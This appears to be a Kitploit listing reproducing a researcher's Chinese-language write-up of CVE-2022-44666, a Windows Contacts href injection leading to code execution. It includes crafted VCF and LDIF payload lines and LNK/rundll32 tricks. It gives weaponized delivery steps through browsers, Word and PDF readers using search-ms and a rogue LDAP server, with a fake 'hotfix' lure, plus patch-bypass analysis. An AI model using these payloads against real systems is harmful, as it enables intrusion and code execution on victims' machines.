Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-44666 — CVE-2022-44666的技术文章和概念验证,这是一个Windows联系人syslink控件href属性转义漏洞,通过精心构造的VCF/.contact文件和LDAP协议处理器实现远程代码执行。 | Kitploit
工具/GitHubGitHub/j00sean/cve-2022-44666
钓鱼工具漏洞分析漏洞利用社会工程学Payload 开发
GitHubj00sean/cve-2022-44666

CVE-2022-44666

CVE-2022-44666的技术文章和概念验证,这是一个Windows联系人syslink控件href属性转义漏洞,通过精心构造的VCF/.contact文件和LDAP协议处理器实现远程代码执行。

查看仓库
1552433年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink 控制 href 属性转义漏洞 (CVE-2022-44666) (0day).

这是一个关于另一个被遗忘的0day的故事,它在4年多前由 [John Page (又名 hyp3rlinx)][R.1] 完全公开。要理解这份报告,你必须考虑我很笨 :-) 而我的笨拙驱使我走更长的路来解决简单的问题,但也让我找到了利用某些漏洞的其他方法。我为什么这么说?因为我无法迅速理解创建 .contact 文件的方法只是浏览到联系人文件夹来创建联系人,相反,我利用这些信息首先创建了一个 VCF 文件,然后错误地认为这是某种变体。这也是因为我的大脑无法理解某些0day被遗忘那么长时间 ¯\(ツ)/¯ 完成这些之后,在 [MSRC][R.2] 和 [ZDI][R.3] 回复了“不会修复”后,进行了进一步调查以提高严重性,最终涉及到了 .contact 文件和 Windows 的 URL 协议处理程序 "ldap"。

详细信息

  • 供应商: Microsoft.
  • 应用: Microsoft Windows Contacts.
  • 版本: 10.0.19044.1826.
  • 测试系统: Windows 10 & Windows 11.
  • 测试系统版本: Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]

介绍

当我阅读 [此漏洞][R.4] 的利用代码时,它实际上作为0day发布,并且可以找到 [ZDI 的报告][R.5]。

更新 2022/07/21: 在向 MS 报告此案例后,MSRC 的人正确地向我指出 Windows Contacts 不是打开 VCF 文件的默认程序。

alt text

进一步的研究仍然表明,在 Win7 ESU & WinServer2019 上,VCF 文件的默认程序是 Windows Contacts (wab.exe),否则使用 MS People (PeopleApp.exe)。以下是此测试的完整表格:

  • Windows 7: VCF 文件的默认程序是 Windows Contacts (wab.exe)。
  • Windows Server 2019: VCF 文件的默认程序是 Windows Contacts (wab.exe)。
  • Windows 10: VCF 文件的默认程序是 MS People (PeopleApp.exe)。
  • Windows 10 + MS Office: VCF 文件的默认程序是 MS Outlook (outlook.exe)。
  • Windows 11: VCF 文件的默认程序是 MS People (PeopleApp.exe)。

无论如何,他们仍然认为这里涉及一些社会工程,比如打开构造的 VCF 文件并点击某些链接来利用该漏洞,因此不符合 MSRC 的安全更新漏洞标准。

alt text

更新 2022/07/25: 好吧,经过进一步研究,这是同一个漏洞。我终于找到了一个 .contact 的概念验证。实际上,可以使用 HTML 实体正确解析 .contact 文件。注意这解决了之前的问题(更新 2022/07/21),并且这种文件格式 (.contact) 由 Windows Contacts 打开,这是该文件扩展名的默认程序,即使系统中安装了 MS Office。只需第一次文件关联(如果尚未完成),但默认安装的唯一程序是 Windows Contacts。

更新 2022/07/25: 这项进一步的研究让我达到了一个我一段时间前试图达到的目标:使用某个 URL 协议处理程序来自动打开构造的联系人数据以利用该漏洞。我终于让它工作,感谢 ldap URI 方案,它默认与 Windows Contacts 应用程序关联,所以只需设置一个恶意的 LDAP 服务器,并在 mail、url 或 wwwhomepage 属性下提供 payload 数据,利用的影响就增加了,因为现在不需要双击恶意的 VCF/Contact 文件,我们可以使用 URL 协议来传递。

更新 2023/02/08: 作为 MSRC 善意的表示,[John Page (又名 hyp3rlinx)][R.1] 已被列入 [CVE-2022-44666][R.10] 发现的致谢页面。

alt text

描述

这份报告基本上与上面链接相同,不过我稍微改进了涉及的社会工程部分。实际上,我做的第一件事是改进链接的显示方式,就像它是一个 XSS 漏洞一样,这实际上是一个 HTML 注入,因此可以关闭第一个锚元素并插入一个新的。然后,我想移除这些 HTML 元素的可见性,因此只需设置尽可能长的 "innerHTML" 就足以隐藏它们(因为存在字符限制)。

这是最终使用的 payload:```html URL;WORK:">CLICKMEEEEE...

root@kitploit:~
要观察发生了什么,运行 procmon 并设置一个如下的伪造 href 属性目标:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>

一旦点击链接,在procmon中可以观察到如下输出:

alt text

这是第一个"CreateFile"操作的堆栈跟踪:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll

root@kitploit:~
在 **Shell32!ShellExecuteExW** 中设置断点,我们可以更清楚地了解所涉及的功能:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000   wab.exe 
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

涉及的伪代码如下:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {

...

root@kitploit:~
  default:
    if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
      SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
    break;
}

} return 1i64; }

__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]

v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }

root@kitploit:~
经过这一点,很明显问题实际上涉及[SysLink控件(位于comctl32.dll库中)][R.6]以及href属性如何被wab32.dll库解析。

无法利用远程共享位置或webdavs来利用此漏洞。```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>

文件信息被查询但从未被执行。

alt text

可以使用相对路径,例如:```html URL;WORK:">CLICKMEEEEE...

root@kitploit:~
![替代文本](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./images/href-attribute-relative-path.png%3E)

示例:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

alt text

进一步测试中发现,虽然使用 rundll32 作为攻击向量时,无法为所选可执行负载添加参数,但若选用指向目标可执行文件的 LNK 文件,则可以使用命令行参数。这种方法虽然有些技巧性,但确实可行。```html URL;WORK:">CLICKMEEEEE...

root@kitploit:~
run.lnk 的目标:```
rundll32.exe hidden\payload.bin,Foo"

alt text

这看起来更有趣,因为不需要在目标系统中放置可执行文件。

影响

以当前登录用户身份执行远程代码。

概念验证

必须存在文件关联才能使用 Windows 联系人打开 .vcf 文件。

更新 2021/07/25: 对于联系人文件 (.contact),默认情况下只有一个应用程序可以打开它们:Windows 联系人,即使目标系统中安装了 MS Office。

使用位于 ./report-pocs/ 中的文件:

  1. 双击文件 exploit.vcf(更新 2021/07/25:或双击文件 exploit.contact)。
  2. 单击其中一个 "click-me" 链接一次。
  3. 它将使用不同的执行方式启动 notepad.exe:
    • 3.1. 链接 1:运行 .lnk 文件,触发 rundll32 加载一个特制库。
    • 3.2. 链接 2:触发执行位于 "hidden" 文件夹中的可执行文件,作为本地路径。
    • 3.3. 链接 3:直接执行。

./videos 中附有几个视频:

  • ./videos/simple-payload.gif:这是一个示例,下载单个 vcf 文件并触发漏洞。

alt text

  • ./videos/full-payload.gif:这是一个更复杂的示例,下载一个 zip 文件,该文件允许触发所有有效载荷。

alt text

以下是位于 ./report-pocs/ 中的概念验证文件摘要:

  • ./report-pocs/exploit.vcf:用于双击的概念验证文件。
  • ./report-pocs/exploit.zip:要下载的压缩文件,包含所有利用漏洞的技巧(视频:full-payload.gif)
  • ./report-pocs/hidden/payload.lnk:用于运行带命令行参数的有效载荷的 LNK 文件。
  • ./report-pocs/hidden/payload.bin:DLL 有效载荷。最终运行 notepad.exe
  • ./report-pocs/hidden/payload.exe:可执行有效载荷。最终运行 notepad.exe

以及位于 ./src 中的文件:

  • dllmain.cpp:用作有效载荷的 DLL 库(payload.bin)。
  • payload.cpp:用作有效载荷的可执行文件(payload.exe)。

进一步利用

对于进一步利用,由于该漏洞不允许加载远程共享位置的文件,因此 URI 协议 "search-ms" 是一个有趣的向量。您将找到仅触发本地二进制文件(如 calc 或 notepad)的概念验证,以及更复杂的概念验证(我将其称为武器化利用,因为它们不执行本地文件)。这些概念验证和利用位于 ./further-pocs/。

以下是目标应用程序的摘要:

  • 浏览器:MS Edge、Google Chrome、Mozilla Firefox 和 Opera。注意:URI 协议 "search-ms" 在撰写本文时在 Mozilla Firefox 中 [已被禁用][R.7]。
  • MS Word。
  • PDF 阅读器(主要是 Adobe Acrobat Reader DC 和 Foxit PDF Reader)。

为了重现:

  1. 设置一个远程共享位置(SMB 或 WebDav)。将 ./further-pocs/to-copy-in-remote-shared-location/ 的内容复制到其中。

  2. 如果需要,运行 ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat 隐藏文件。

  3. 修改位于 ./further-pocs/[向量或目标应用]/remote-weaponized-by-searchms/ 中的 exploit.html/poc.html 文件,使其指向您的远程共享位置。

  4. 在目标应用路径中启动一个 Web 服务器,即 ./further-pocs/[向量或目标应用]/[poc||remote-weaponized-by-searchms]/。

  5. 根据具体情况运行 poc/exploit 文件。

  6. 更多信息,请观看位于 ./videos 中的视频:

    • 6.1. 浏览器 PoC:./videos/browsers-poc.gif。

    alt text

    • 6.2. 浏览器利用:./videos/browsers-exploit.gif。

    alt text

    • 6.3. MS Word PoC:./videos/msword-poc.gif。

    alt text

    • 6.4. MS Word 利用:./videos/msword-exploit.gif。

    alt text

    • 6.5. PDF 阅读器 PoC:./videos/pdfreaders-poc.gif。

    alt text

此外,以下是用于进一步利用的所有文件:

  • ./further-pocs/browsers/poc/KB5014666-hotfix.vcf:简单有效载荷,执行本地二进制文件。
  • ./further-pocs/browsers/poc/poc.html:用于下载 KB5014666-hotfix.vcf 的 HTML 文件。
  • ./further-pocs/browsers/remote-weaponized-by-searchms/exploit.html:用于在远程共享位置触发 "search-ms" 的 HTML 文件。
  • ./further-pocs/MSWord/poc/KB5014666-hotfix.vcf:简单有效载荷,执行本地二进制文件。
  • ./further-pocs/MSWord/poc/poc.docx:DOCX 格式的 Word 文件,触发远程模板,即 htmlfile activex。
  • ./further-pocs/MSWord/poc/poc.rtf:RTF 格式的 Word 文件,触发远程模板,即 htmlfile activex。
  • ./further-pocs/MSWord/poc/poc.html:远程模板,即 htmlfile activex。
  • ./further-pocs/MSWord/remote-weaponized-by-searchms/exploit.docx:DOCX 格式的 Word 文件,触发远程模板,即 htmlfile activex。
  • ./further-pocs/MSWord/remote-weaponized-by-searchms/exploit.rtf:RTF 格式的 Word 文件,触发远程模板,即 htmlfile activex。
  • ./further-pocs/MSWord/remote-weaponized-by-searchms/poc.html:远程模板,即 htmlfile activex,触发远程共享位置的 "search-ms"。
  • ./further-pocs/PDFreaders/poc/KB5014666-hotfix.vcf:简单有效载荷,执行本地二进制文件。
  • ./further-pocs/PDFreaders/poc/poc-vcf.pdf:PDF 文件,触发默认浏览器下载并执行 KB5014666-hotfix.vcf。
  • ./further-pocs/PDFreaders/remote-weaponized-by-searchms/exploit.html:HTML 文件,触发远程共享位置的 "search-ms",供 PDF 阅读器使用。

联系人文件

在收到 更新 2022/07/21 来自 MSRC 后,我决定查看联系人文件扩展名,以确认是否与原始发现者发现的情况相同,当然是相同的。我的第一个概念验证只是使用了不同的文件格式,但漏洞是一样的。只需使用位于 "C:\Program Files\Windows Mail" 中的 wabmig.exe,就可以将所有 VCF 文件转换为联系人文件。

alt text

正如介绍更新中提到的,这些文件由 Windows 联系人(默认程序)打开。

重现步骤与 VCF 文件使用的步骤相同。对 VCF 文件观察到的相同限制也适用于联系人文件,即无法对属性 "href" 使用远程共享位置,但仍然可以使用本地路径或 URL 协议 "search-ms"。

以下是添加或修改用于利用联系人文件的所有文件:

  • ./further-pocs/browsers/poc/KB5014666-hotfix.vcf:使用 VCF 格式的简单有效载荷,执行本地二进制文件。
  • ./further-pocs/browsers/poc/KB5014666-hotfix.contact:使用联系人格式的简单有效载荷,执行本地二进制文件。
  • ./further-pocs/browsers/poc/poc-vcf.html:用于下载 KB5014666-hotfix.vcf 的 HTML 文件。
  • ./further-pocs/browsers/poc/poc-contact.html:用于下载 KB5014666-hotfix.contact 的 HTML 文件。
  • ./further-pocs/MSWord/poc/KB5014666-hotfix.vcf:使用 VCF 格式的简单有效载荷,执行本地二进制文件。
  • ./further-pocs/MSWord/poc/KB5014666-hotfix.contact:使用联系人格式的简单有效载荷,执行本地二进制文件。
  • ./further-pocs/PDFreaders/poc/KB5014666-hotfix.contact:使用联系人格式的简单有效载荷,执行本地二进制文件。
  • ./further-pocs/PDFreaders/poc/poc-contact.pdf:用于下载 KB5014666-hotfix.contact 的 PDF 文件。
  • ./further-pocs/to-copy-in-remote-shared-location/KB5001337-hotfix.contact:使用联系人格式的 "search-ms" 在远程共享位置执行二进制文件的有效载荷。
  • ./report-pocs/exploit.contact:与 exploit.VCF 相同的文件,但为联系人文件格式。

URL 协议 LDAP

如上所述,这项进一步的研究让我达到了一段时间以来一直试图达到的目标:使用一些 URL 协议处理程序自动打开特制的联系人数据以利用漏洞。这个挑战最终由于 ldap URI 模式而得以实现。```js ... Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""

[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"

[HKEY_CLASSES_ROOT\LDAP\shell]

[HKEY_CLASSES_ROOT\LDAP\shell\open]

[HKEY_CLASSES_ROOT\LDAP\shell\open\command] @=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00 ...

root@kitploit:~
即:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

只需设置一个恶意LDAP服务器并提供载荷数据,就可以使用此URL协议处理器启动Windows联系人(wab.exe),并在ldif属性mail、url或wwwhomepage中携带恶意载荷。请注意,我未能像[这里][R.8]指出的那样在"wwwhomepage"属性上实现此操作,但理论上应该可行。

精心构造的ldif内容如下所示:```html ... dn: dc=org dc: org objectClass: dcObject

dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization

dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people

dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...

root@kitploit:~
流氓LDAP服务器的代码取自ldaptor项目的快速启动服务器,位于[这里][R.9]。

以下是目标应用的总结:

* 浏览器:MS Edge、Google Chrome、Mozilla Firefox 和 Opera。
* MS Word。
* PDF阅读器(主要是 Adobe Acrobat Reader DC 和 Foxit PDF Reader)。

重现步骤:

1. 将[./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) 复制到远程共享位置(SMB 或 WebDav)。
2. 如果需要,运行 [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat) 隐藏文件。
3. 通过 pip 安装 ldaptor:pip install ldaptor。注意,这已在 Python 2.7 x64 上测试。
4. 启动位于 [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py) 的流氓 LDAP 服务器。
5. 在目标应用路径启动一个 Web 服务器,即:./further-pocs/[向量或目标应用]/url-protocol-ldap/。
6. 根据情况运行利用文件。
7. 更多信息请查看位于 [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos) 的视频:
   - 7.1. 浏览器:[./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif)。

   ![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./videos/ldap-browsers-exploit.gif%3E)

   - 7.2. MS Word:[./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif)。

   ![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./videos/ldap-msword-exploit.gif%3E)

   - 7.3. PDF阅读器:[./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif)。

   ![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./videos/ldap-pdfreaders-exploit.gif%3E)

以下是利用 url protocol ldap 的其他文件:

+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html):HTML 文件,用于在流氓 LDAP 服务器上加载 url protocol ldap,该服务器返回针对 mail 和 urls 的伪造数据。
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html):远程模板,即 htmlfile activex,用于在流氓 LDAP 服务器上加载 url protocol ldap,该服务器返回针对 mail 和 urls 的伪造数据。
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf):RTF 格式的 Word 文件,触发远程模板(即 htmlfile activex)。
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx):DOCX 格式的 Word 文件,触发远程模板(即 htmlfile activex)。
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html):HTML 文件,用于在流氓 LDAP 服务器上加载 url protocol ldap,该服务器返回针对 mail 和 urls 的伪造数据。
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf):PDF 文件,触发默认浏览器执行 URI 协议“ldap”。
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py):基于 ldaptor 服务器示例的 Python 脚本,运行于 Python 2.7,通过 ldif 属性 mail、url 和 wwwhomepage 提供伪造数据以利用该漏洞。

## CVE-2022-44666:补丁分析与不完全修复

2022年12月13日,微软以 [CVE-2022-44666][R.10] 形式发布了此漏洞的补丁。

用于对补丁进行差异比较的版本(位于 C:\Program Files\Common Files\System\wab32.dll)如下:

+ MD5: 588A3D68F89ABF1884BEB7267F274A8B(补丁前)
+ MD5: D1708215AD2624E666AFD97D97720E81(补丁后)

使用 [@matalaz][R.12] 的 [Diaphora][R.11] 对受影响的库(wab32.dll)进行差异比较,会发现一些新函数:

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/images/unmatched-diaphora-wab32dll.png%3E)

以下是部分匹配项:

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/images/partialmatches-diaphora-wab32dll.png%3E)

查看函数“fnSummaryProc”中的新代码:```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{

...

    if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) )  // (1)
    {
      v38 = (unsigned __int16 *)2085;
      v39 = &CPercentEncodeRFC3986::`vftable';
      v40 = v23;
      v41 = v26;
      v28 = CPercentEncodeString::Encode(
              (CPercentEncodeString *)&v39,
              (unsigned __int16 *)&Dst,
              (unsigned __int64 *)&v38,
              v25);
      v29 = v7;
      if ( !v28 )
      {
        v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
        SafeExecute(v29, v24, v30);  // (2)
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38);
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44; // (3)
      }
    }
    v31 = GetParent(v29);
    ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
    return 1i64;
  }
  ...
}

修复后,新代码调用函数 "SafeExecute" (2) 或显示一个消息框 (4)。

alt text

要到达函数 "SafeExecute" (2) 的调用,可以遵循以下代码流 (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]

v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }

root@kitploit:~
该函数首先检查 [URL 在 (5) 中是否有效][R.13],然后检查它是否以 "http" 或 "https" 开头(在 (6) 中)。这个代码路径看起来足够安全。回到函数 "fnSummaryProc",还有另一个代码路径可能有助于绕过 (3) 中的修复。```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
  unsigned __int16 v2; // ax
  unsigned __int16 **v3; // r14
  unsigned __int16 *v4; // rdi
  unsigned __int16 *v5; // r15
  unsigned __int16 v6; // dx
  unsigned __int16 *v7; // r8
  unsigned __int16 *v8; // rcx
  WCHAR v9; // ax
  _WORD *v10; // rsi
  int v11; // ebp
  LPWSTR v12; // rax
  unsigned __int16 *v14; // rax

  v2 = *a1;
  v3 = a2;
  v4 = a1;
